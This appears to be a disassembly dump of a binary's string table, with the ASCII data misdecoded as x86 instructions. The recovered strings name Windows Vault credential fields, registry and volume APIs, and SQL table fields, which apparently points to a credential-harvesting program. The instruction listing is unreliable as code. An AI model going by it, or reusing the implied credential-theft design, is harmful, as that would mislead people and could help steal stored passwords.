4451e5:	6c                   	insb   (%dx),%es:(%edi)
4451e6:	65 67 61             	gs addr16 popa
4451e9:	6c                   	insb   (%dx),%es:(%edi)
4451ea:	00 52 65             	add    %dl,0x65(%edx)
4451ed:	73 6f                	jae    0x44525e
4451ef:	75 72                	jne    0x445263
4451f1:	63 65 00             	arpl   %esp,0x0(%ebp)
4451f4:	49                   	dec    %ecx
4451f5:	64 65 6e             	fs outsb %gs:(%esi),(%dx)
4451f8:	74 69                	je     0x445263
4451fa:	74 79                	je     0x445275
4451fc:	00 41 75             	add    %al,0x75(%ecx)
4451ff:	74 68                	je     0x445269
445201:	65 6e                	outsb  %gs:(%esi),(%dx)
445203:	74 69                	je     0x44526e
445205:	63 61 74             	arpl   %esp,0x74(%ecx)
445208:	6f                   	outsl  %ds:(%esi),(%dx)
445209:	72 00                	jb     0x44520b
44520b:	54                   	push   %esp
44520c:	61                   	popa
44520d:	67 00 50 61          	add    %dl,0x61(%bx,%si)
445211:	63 6b 61             	arpl   %ebp,0x61(%ebx)
445214:	67 65 53             	addr16 gs push %ebx
445217:	69 64 00 41 70 70 53 	imul   $0x74537070,0x41(%eax,%eax,1),%esp
44521e:	74
44521f:	61                   	popa
445220:	72 74                	jb     0x445296
445222:	00 41 70             	add    %al,0x70(%ecx)
445225:	70 45                	jo     0x44526c
445227:	6e                   	outsb  %ds:(%esi),(%dx)
445228:	64 00 73 61          	add    %dh,%fs:0x61(%ebx)
44522c:	68 00 53 63 68       	push   $0x68635300
445231:	65 6d                	gs insl (%dx),%es:(%edi)
445233:	61                   	popa
445234:	49                   	dec    %ecx
445235:	64 00 70 73          	add    %dh,%fs:0x73(%eax)
445239:	7a 43                	jp     0x44527e
44523b:	72 65                	jb     0x4452a2
44523d:	64 65 6e             	fs outsb %gs:(%esi),(%dx)
445240:	74 69                	je     0x4452ab
445242:	61                   	popa
445243:	6c                   	insb   (%dx),%es:(%edi)
445244:	46                   	inc    %esi
445245:	72 69                	jb     0x4452b0
445247:	65 6e                	outsb  %gs:(%esi),(%dx)
445249:	64 6c                	fs insb (%dx),%es:(%edi)
44524b:	79 4e                	jns    0x44529b
44524d:	61                   	popa
44524e:	6d                   	insl   (%dx),%es:(%edi)
44524f:	65 00 70 52          	add    %dh,%gs:0x52(%eax)
445253:	65 73 6f             	gs jae 0x4452c5
445256:	75 72                	jne    0x4452ca
445258:	63 65 45             	arpl   %esp,0x45(%ebp)
44525b:	6c                   	insb   (%dx),%es:(%edi)
44525c:	65 6d                	gs insl (%dx),%es:(%edi)
44525e:	65 6e                	outsb  %gs:(%esi),(%dx)
445260:	74 00                	je     0x445262
445262:	70 49                	jo     0x4452ad
445264:	64 65 6e             	fs outsb %gs:(%esi),(%dx)
445267:	74 69                	je     0x4452d2
445269:	74 79                	je     0x4452e4
44526b:	45                   	inc    %ebp
44526c:	6c                   	insb   (%dx),%es:(%edi)
44526d:	65 6d                	gs insl (%dx),%es:(%edi)
44526f:	65 6e                	outsb  %gs:(%esi),(%dx)
445271:	74 00                	je     0x445273
445273:	70 41                	jo     0x4452b6
445275:	75 74                	jne    0x4452eb
445277:	68 65 6e 74 69       	push   $0x69746e65
44527c:	63 61 74             	arpl   %esp,0x74(%ecx)
44527f:	6f                   	outsl  %ds:(%esi),(%dx)
445280:	72 45                	jb     0x4452c7
445282:	6c                   	insb   (%dx),%es:(%edi)
445283:	65 6d                	gs insl (%dx),%es:(%edi)
445285:	65 6e                	outsb  %gs:(%esi),(%dx)
445287:	74 00                	je     0x445289
445289:	70 50                	jo     0x4452db
44528b:	61                   	popa
44528c:	63 6b 61             	arpl   %ebp,0x61(%ebx)
44528f:	67 65 53             	addr16 gs push %ebx
445292:	69 64 00 4c 61 73 74 	imul   $0x4d747361,0x4c(%eax,%eax,1),%esp
445299:	4d
44529a:	6f                   	outsl  %ds:(%esi),(%dx)
44529b:	64 69 66 69 65 64 00 	imul   $0x64006465,%fs:0x69(%esi),%esp
4452a2:	64
4452a3:	77 46                	ja     0x4452eb
4452a5:	6c                   	insb   (%dx),%es:(%edi)
4452a6:	61                   	popa
4452a7:	67 73 00             	addr16 jae 0x4452aa
4452aa:	64 77 50             	fs ja  0x4452fd
4452ad:	72 6f                	jb     0x44531e
4452af:	70 65                	jo     0x445316
4452b1:	72 74                	jb     0x445327
4452b3:	69 65 73 43 6f 75 6e 	imul   $0x6e756f43,0x73(%ebp),%esp
4452ba:	74 00                	je     0x4452bc
4452bc:	70 50                	jo     0x44530e
4452be:	72 6f                	jb     0x44532f
4452c0:	70 65                	jo     0x445327
4452c2:	72 74                	jb     0x445338
4452c4:	79 45                	jns    0x44530b
4452c6:	6c                   	insb   (%dx),%es:(%edi)
4452c7:	65 6d                	gs insl (%dx),%es:(%edi)
4452c9:	65 6e                	outsb  %gs:(%esi),(%dx)
4452cb:	74 73                	je     0x445340
4452cd:	00 73 61             	add    %dh,0x61(%ebx)
4452d0:	78 00                	js     0x4452d2
4452d2:	73 67                	jae    0x44533b
4452d4:	68 00 53 63 68       	push   $0x68635300
4452d9:	65 6d                	gs insl (%dx),%es:(%edi)
4452db:	61                   	popa
4452dc:	45                   	inc    %ebp
4452dd:	6c                   	insb   (%dx),%es:(%edi)
4452de:	65 6d                	gs insl (%dx),%es:(%edi)
4452e0:	65 6e                	outsb  %gs:(%esi),(%dx)
4452e2:	74 49                	je     0x44532d
4452e4:	64 00 65 79          	add    %ah,%fs:0x79(%ebp)
4452e8:	64 00 76 6a          	add    %dh,%fs:0x6a(%esi)
4452ec:	6f                   	outsl  %ds:(%esi),(%dx)
4452ed:	00 76 6a             	add    %dh,0x6a(%esi)
4452f0:	6c                   	insb   (%dx),%es:(%edi)
4452f1:	00 76 6a             	add    %dh,0x6a(%esi)
4452f4:	62 00                	bound  %eax,(%eax)
4452f6:	76 6a                	jbe    0x445362
4452f8:	61                   	popa
4452f9:	00 76 6a             	add    %dh,0x6a(%esi)
4452fc:	67 00 76 6a          	add    %dh,0x6a(%bp)
445300:	68 00 76 6a 78       	push   $0x786a7600
445305:	00 65 79             	add    %ah,0x79(%ebp)
445308:	63 00                	arpl   %eax,(%eax)
44530a:	65 79 6a             	gs jns 0x445377
44530d:	00 65 79             	add    %ah,0x79(%ebp)
445310:	61                   	popa
445311:	00 65 79             	add    %ah,0x79(%ebp)
445314:	67 00 65 79          	add    %ah,0x79(%di)
445318:	68 00 65 64 78       	push   $0x78646500
44531d:	00 65 63             	add    %ah,0x63(%ebp)
445320:	6a 00                	push   $0x0
445322:	65 63 6c 00 65       	arpl   %ebp,%gs:0x65(%eax,%eax,1)
445327:	63 62 00             	arpl   %esp,0x0(%edx)
44532a:	65 63 61 00          	arpl   %esp,%gs:0x0(%ecx)
44532e:	65 6a 6c             	gs push $0x6c
445331:	00 65 6a             	add    %ah,0x6a(%ebp)
445334:	62 00                	bound  %eax,(%eax)
445336:	65 62 61 00          	bound  %esp,%gs:0x0(%ecx)
44533a:	65 62 67 00          	bound  %esp,%gs:0x0(%edi)
44533e:	76 6d                	jbe    0x4453ad
445340:	79 00                	jns    0x445342
445342:	76 6d                	jbe    0x4453b1
445344:	64 00 76 79          	add    %dh,%fs:0x79(%esi)
445348:	6f                   	outsl  %ds:(%esi),(%dx)
445349:	00 76 79             	add    %dh,0x79(%esi)
44534c:	62 00                	bound  %eax,(%eax)
44534e:	76 79                	jbe    0x4453c9
445350:	61                   	popa
445351:	00 76 79             	add    %dh,0x79(%esi)
445354:	67 00 76 79          	add    %dh,0x79(%bp)
445358:	78 00                	js     0x44535a
44535a:	76 64                	jbe    0x4453c0
44535c:	63 00                	arpl   %eax,(%eax)
44535e:	76 64                	jbe    0x4453c4
445360:	6a 00                	push   $0x0
445362:	76 64                	jbe    0x4453c8
445364:	67 00 76 63          	add    %dh,0x63(%bp)
445368:	62 00                	bound  %eax,(%eax)
44536a:	76 63                	jbe    0x4453cf
44536c:	61                   	popa
44536d:	00 62 61             	add    %ah,0x61(%edx)
445370:	73 65                	jae    0x4453d7
445372:	4e                   	dec    %esi
445373:	61                   	popa
445374:	6d                   	insl   (%dx),%es:(%edi)
445375:	65 00 65 6d          	add    %ah,%gs:0x6d(%ebp)
445379:	67 00 73 69          	add    %dh,0x69(%bp,%di)
44537d:	7a 65                	jp     0x4453e4
44537f:	00 74 79 70          	add    %dh,0x70(%ecx,%edi,2)
445383:	65 00 65 6d          	add    %ah,%gs:0x6d(%ebp)
445387:	68 00 72 6f 77       	push   $0x776f7200
44538c:	5f                   	pop    %edi
44538d:	69 64 00 63 6f 6e 74 	imul   $0x65746e6f,0x63(%eax,%eax,1),%esp
445394:	65
445395:	6e                   	outsb  %ds:(%esi),(%dx)
445396:	74 00                	je     0x445398
445398:	65 6d                	gs insl (%dx),%es:(%edi)
44539a:	78 00                	js     0x44539c
44539c:	69 74 65 6d 5f 74 79 	imul   $0x7079745f,0x6d(%ebp,%eiz,2),%esi
4453a3:	70
4453a4:	65 00 69 74          	add    %ch,%gs:0x74(%ecx)
4453a8:	65 6d                	gs insl (%dx),%es:(%edi)
4453aa:	5f                   	pop    %edi
4453ab:	6e                   	outsb  %ds:(%esi),(%dx)
4453ac:	61                   	popa
4453ad:	6d                   	insl   (%dx),%es:(%edi)
4453ae:	65 00 61 73          	add    %ah,%gs:0x73(%ecx)
4453b2:	74 61                	je     0x445415
4453b4:	62 6c 65 5f          	bound  %ebp,0x5f(%ebp,%eiz,2)
4453b8:	6e                   	outsb  %ds:(%esi),(%dx)
4453b9:	61                   	popa
4453ba:	6d                   	insl   (%dx),%es:(%edi)
4453bb:	65 00 72 6f          	add    %dh,%gs:0x6f(%edx)
4453bf:	6f                   	outsl  %ds:(%esi),(%dx)
4453c0:	74 5f                	je     0x445421
4453c2:	6e                   	outsb  %ds:(%esi),(%dx)
4453c3:	75 6d                	jne    0x445432
4453c5:	00 73 71             	add    %dh,0x71(%ebx)
4453c8:	6c                   	insb   (%dx),%es:(%edi)
4453c9:	5f                   	pop    %edi
4453ca:	73 74                	jae    0x445440
4453cc:	61                   	popa
4453cd:	74 65                	je     0x445434
4453cf:	6d                   	insl   (%dx),%es:(%edi)
4453d0:	65 6e                	outsb  %gs:(%esi),(%dx)
4453d2:	74 00                	je     0x4453d4
4453d4:	6e                   	outsb  %ds:(%esi),(%dx)
4453d5:	64 6a 00             	fs push $0x0
4453d8:	6e                   	outsb  %ds:(%esi),(%dx)
4453d9:	64 6f                	outsl  %fs:(%esi),(%dx)
4453db:	00 47 65             	add    %al,0x65(%edi)
4453de:	74 56                	je     0x445436
4453e0:	6f                   	outsl  %ds:(%esi),(%dx)
4453e1:	6c                   	insb   (%dx),%es:(%edi)
4453e2:	75 6d                	jne    0x445451
4453e4:	65 49                	gs dec %ecx
4453e6:	6e                   	outsb  %ds:(%esi),(%dx)
4453e7:	66 6f                	outsw  %ds:(%esi),(%dx)
4453e9:	72 6d                	jb     0x445458
4453eb:	61                   	popa
4453ec:	74 69                	je     0x445457
4453ee:	6f                   	outsl  %ds:(%esi),(%dx)
4453ef:	6e                   	outsb  %ds:(%esi),(%dx)
4453f0:	41                   	inc    %ecx
4453f1:	00 6e 64             	add    %ch,0x64(%esi)
4453f4:	6c                   	insb   (%dx),%es:(%edi)
4453f5:	00 6e 64             	add    %ch,0x64(%esi)
4453f8:	62 00                	bound  %eax,(%eax)
4453fa:	6e                   	outsb  %ds:(%esi),(%dx)
4453fb:	64 61                	fs popa
4453fd:	00 6e 64             	add    %ch,0x64(%esi)
445400:	67 00 6e 64          	add    %ch,0x64(%bp)
445404:	68 00 6e 64 78       	push   $0x78646e00
445409:	00 6e 63             	add    %ch,0x63(%esi)
44540c:	6a 00                	push   $0x0
44540e:	6e                   	outsb  %ds:(%esi),(%dx)
44540f:	63 6f 00             	arpl   %ebp,0x0(%edi)
445412:	6e                   	outsb  %ds:(%esi),(%dx)
445413:	63 6c 00 6e          	arpl   %ebp,0x6e(%eax,%eax,1)
445417:	6a 61                	push   $0x61
445419:	00 6e 6a             	add    %ch,0x6a(%esi)
44541c:	67 00 6e 6f          	add    %ch,0x6f(%bp)
445420:	67 00 6e 6f          	add    %ch,0x6f(%bp)
445424:	68 00 6e 6f 78       	push   $0x786f6e00
445429:	00 6e 6c             	add    %ch,0x6c(%esi)
44542c:	62 00                	bound  %eax,(%eax)
44542e:	6e                   	outsb  %ds:(%esi),(%dx)
44542f:	6c                   	insb   (%dx),%es:(%edi)
445430:	78 00                	js     0x445432
445432:	6e                   	outsb  %ds:(%esi),(%dx)
445433:	62 61 00             	bound  %esp,0x0(%ecx)
445436:	6e                   	outsb  %ds:(%esi),(%dx)
445437:	68 78 00 6d 79       	push   $0x796d0078
44543c:	64 00 6d 79          	add    %ch,%fs:0x79(%ebp)
445440:	63 00                	arpl   %eax,(%eax)
445442:	76 67                	jbe    0x4454ab
445444:	68 00 76 67 78       	push   $0x78677600
445449:	00 76 6f             	add    %dh,0x6f(%esi)
44544c:	6c                   	insb   (%dx),%es:(%edi)
44544d:	00 53 61             	add    %dl,0x61(%ebx)
445450:	66 65 48             	gs dec %ax
445453:	61                   	popa
445454:	6e                   	outsb  %ds:(%esi),(%dx)
445455:	64 6c                	fs insb (%dx),%es:(%edi)
445457:	65 00 53 79          	add    %dl,%gs:0x79(%ebx)
44545b:	73 74                	jae    0x4454d1
44545d:	65 6d                	gs insl (%dx),%es:(%edi)
44545f:	2e 52                	cs push %edx
445461:	75 6e                	jne    0x4454d1
445463:	74 69                	je     0x4454ce
445465:	6d                   	insl   (%dx),%es:(%edi)
445466:	65 2e 49             	gs cs dec %ecx
445469:	6e                   	outsb  %ds:(%esi),(%dx)
44546a:	74 65                	je     0x4454d1
44546c:	72 6f                	jb     0x4454dd
44546e:	70 53                	jo     0x4454c3
445470:	65 72 76             	gs jb  0x4454e9
445473:	69 63 65 73 00 67 65 	imul   $0x65670073,0x65(%ebx),%esp
44547a:	74 5f                	je     0x4454db
44547c:	49                   	dec    %ecx
44547d:	73 49                	jae    0x4454c8
44547f:	6e                   	outsb  %ds:(%esi),(%dx)
445480:	76 61                	jbe    0x4454e3
445482:	6c                   	insb   (%dx),%es:(%edi)
445483:	69 64 00 52 65 6c 65 	imul   $0x61656c65,0x52(%eax,%eax,1),%esp
44548a:	61
44548b:	73 65                	jae    0x4454f2
44548d:	48                   	dec    %eax
44548e:	61                   	popa
44548f:	6e                   	outsb  %ds:(%esi),(%dx)
445490:	64 6c                	fs insb (%dx),%es:(%edi)
445492:	65 00 76 6f          	add    %dh,%gs:0x6f(%esi)
445496:	62 00                	bound  %eax,(%eax)
445498:	76 6f                	jbe    0x445509
44549a:	61                   	popa
44549b:	00 76 6f             	add    %dh,0x6f(%esi)
44549e:	67 00 52 65          	add    %dl,0x65(%bp,%si)
4454a2:	67 4f                	addr16 dec %edi
4454a4:	70 65                	jo     0x44550b
4454a6:	6e                   	outsb  %ds:(%esi),(%dx)
4454a7:	4b                   	dec    %ebx
4454a8:	65 79 45             	gs jns 0x4454f0
4454ab:	78 00                	js     0x4454ad
4454ad:	41                   	inc    %ecx
4454ae:	64 76 61             	fs jbe 0x445512
4454b1:	70 69                	jo     0x44551c
4454b3:	33 32                	xor    (%edx),%esi
4454b5:	00 76 6f             	add    %dh,0x6f(%esi)
4454b8:	68 00 76 6f 78       	push   $0x786f7600
4454bd:	00 76 6c             	add    %dh,0x6c(%esi)
4454c0:	62 00                	bound  %eax,(%eax)
4454c2:	76 6c                	jbe    0x445530
4454c4:	61                   	popa
4454c5:	00 76 6c             	add    %dh,0x6c(%esi)
4454c8:	67 00 76 6c          	add    %dh,0x6c(%bp)
4454cc:	68 00 52 65 67       	push   $0x67655200
4454d1:	43                   	inc    %ebx
4454d2:	6c                   	insb   (%dx),%es:(%edi)
4454d3:	6f                   	outsl  %ds:(%esi),(%dx)
4454d4:	73 65                	jae    0x44553b
4454d6:	4b                   	dec    %ebx
4454d7:	65 79 00             	gs jns 0x4454da
4454da:	76 6c                	jbe    0x445548
4454dc:	78 00                	js     0x4454de
4454de:	76 62                	jbe    0x445542
4454e0:	61                   	popa
4454e1:	00 52 65             	add    %dl,0x65(%edx)
4454e4:	67 51                	addr16 push %ecx
4454e6:	75 65                	jne    0x44554d
4454e8:	72 79                	jb     0x445563
4454ea:	56                   	push   %esi
4454eb:	61                   	popa
4454ec:	6c                   	insb   (%dx),%es:(%edi)
4454ed:	75 65                	jne    0x445554
4454ef:	45                   	inc    %ebp
4454f0:	78 00                	js     0x4454f2
4454f2:	76 62                	jbe    0x445556
4454f4:	67 00 76 62          	add    %dh,0x62(%bp)
4454f8:	68 00 76 62 78       	push   $0x78627600
4454fd:	00 76 61             	add    %dh,0x61(%esi)
445500:	67 00 76 61          	add    %dh,0x61(%bp)
445504:	68 00 76 61 78       	push   $0x78617600
445509:	00 6f 62             	add    %ch,0x62(%edi)
44550c:	67 00 6d 64          	add    %ch,0x64(%di)